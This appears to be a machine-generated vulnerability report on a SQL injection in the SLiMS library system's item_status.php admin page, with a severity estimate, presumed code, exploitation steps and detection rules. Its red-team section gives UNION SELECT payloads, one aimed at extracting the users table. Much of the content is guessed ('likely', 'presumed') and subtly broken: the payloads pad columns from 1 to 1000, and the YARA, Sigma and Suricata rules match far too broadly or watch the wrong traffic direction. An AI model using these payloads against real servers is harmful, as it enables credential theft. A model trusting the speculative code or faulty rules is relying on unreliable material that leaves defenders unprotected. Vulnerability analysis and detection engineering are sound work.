CVE-2025-45818

Executive Summary

CVE-2025-45818 identifies a critical SQL Injection vulnerability in Slims (Senayan Library Management Systems) version 9 Bulian 9.6.1. The flaw resides in the admin/modules/master_file/item_status.php file, allowing an authenticated attacker with administrative privileges to inject arbitrary SQL commands. This can lead to unauthorized data access, data exfiltration, or potential database compromise. The vulnerability is publicly known but currently unpatched, posing a significant risk to all deployments of this version.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the Slims PHP application source code. The risk is to organizations that have deployed Slims 9.6.1 from the official source or third-party repositories.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated. Based on the nature of the vulnerability (SQL Injection in an admin module), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The admin interface is typically accessible over the network.
• Attack Complexity (AC): Low (L) – Exploitation requires standard HTTP request manipulation.
• Privileges Required (PR): High (H) – The attacker must have admin-level credentials.
• User Interaction (UI): None (N) – No user interaction required beyond the attacker's actions.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the database.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 7.2 (High)

Threat Level: High. Although admin privileges are required, the impact is severe, and the lack of a patch makes all instances of Slims 9.6.1 vulnerable.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the item_status.php file within the admin module. The file likely processes HTTP GET or POST parameters (e.g., id, status, action) without proper sanitization or parameterized queries. An attacker can inject SQL syntax into these parameters, which is then executed against the backend database (typically MySQL/MariaDB).

Root Cause: The application constructs SQL queries by directly concatenating user-supplied input without using prepared statements or escaping functions like mysqli_real_escape_string().

Attack Vector: An authenticated admin user sends a crafted HTTP request to the vulnerable endpoint. For example:

GET /admin/modules/master_file/item_status.php?id=1 UNION SELECT ... HTTP/1.1
Host: target-slims-instance
Cookie: PHPSESSID=...

Impact: Successful exploitation allows the attacker to:

• Extract sensitive data (user credentials, library records, system configuration).
• Modify or delete database records.
• Potentially escalate to operating system command execution via INTO OUTFILE or stored procedures.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

Vulnerable Code (PHP):

$id = $_GET['id'];
$query = "SELECT * FROM item_status WHERE id = $id";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM item_status WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses parameterized queries, which prevent SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials for the Slims instance.
• Network access to the admin interface.

Exploitation Steps:

1. Authenticate to the Slims admin panel.
2. Identify the vulnerable parameter (likely id or status) in the URL or POST body.
3. Craft a SQL injection payload to extract data. Example:

   GET /admin/modules/master_file/item_status.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000-- -
   

   (Note: The number of columns must match the original query. Adjust based on error messages or trial and error.)
4. Extract admin credentials from the users table:

   GET /admin/modules/master_file/item_status.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000 FROM users-- -
   

Lab Setup:

• Download Slims 9.6.1 from the official repository.
• Install on a local LAMP/LEMP stack.
• Create an admin user.
• Use Burp Suite or cURL to send crafted requests.

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL-like patterns in HTTP requests to /admin/modules/master_file/item_status.php.
• Look for unusual characters: ', ", --, UNION, SELECT, OR 1=1.
• Alert on requests with a high number of parameters or unusually long query strings.

Defense:

• Immediately restrict access to the admin panel to trusted IPs only.
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• If possible, apply a virtual patch by modifying the PHP file to use prepared statements (see patched code above).
• Monitor database logs for suspicious queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/modules/master_file/item_status.php containing SQL keywords.
  • Outbound database connections from the web server to unknown IPs.
• File IOCs:
  • Modified item_status.php file (if attacker uploads a webshell).
  • New files in the admin/ directory.
• Database IOCs:
  • Unauthorized queries in MySQL logs.
  • New user accounts or modified privileges.
• Log IOCs:
  • PHP error logs showing SQL syntax errors.
  • Web server access logs with UNION, SELECT, FROM in the query string.

Detection Engineering

YARA Rule

rule CVE_2025_45818_SQLi_Slims {
    meta:
        description = "Detects SQL injection attempts targeting Slims item_status.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45818"
    strings:
        $s1 = "item_status.php" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "OR" nocase
        $s6 = "1=1" nocase
        $s7 = "--" nocase
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5, $s6, $s7))
}

Sigma Rule

title: SQL Injection Attempt Against Slims item_status.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection patterns in HTTP requests to Slims admin module
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'item_status.php'
            - 'UNION'
            - 'SELECT'
            - 'FROM'
            - 'OR 1=1'
            - '--'
    condition: selection
falsepositives:
    - Legitimate admin actions with similar patterns (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-45818 SQL Injection Attempt - Slims item_status.php";
    flow:to_server,established;
    content:"item_status.php"; http_uri;
    content:"UNION"; http_uri; nocase;
    content:"SELECT"; http_uri; nocase;
    content:"FROM"; http_uri; nocase;
    sid:1000001;
    rev:1;
    reference:cve,2025-45818;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict Admin Access: Limit access to the admin panel to trusted IPs using firewall rules or .htaccess.
2. Apply Virtual Patch: Manually edit admin/modules/master_file/item_status.php to use parameterized queries (see patched code example).
3. Monitor Logs: Enable detailed logging for web server, database, and PHP errors.

Long-Term Actions:

1. Upgrade: Monitor the Slims project for an official patch. If none is released, consider migrating to a different library management system.
2. Code Audit: Perform a full security audit of the Slims codebase, focusing on SQL queries.
3. WAF Deployment: Implement a Web Application Firewall with SQL injection prevention rules.

Workaround: If patching is not possible, disable the item_status.php functionality by removing or renaming the file, provided it is not critical for operations.

Report generated by Valters IT DevSecOps & CTI Framework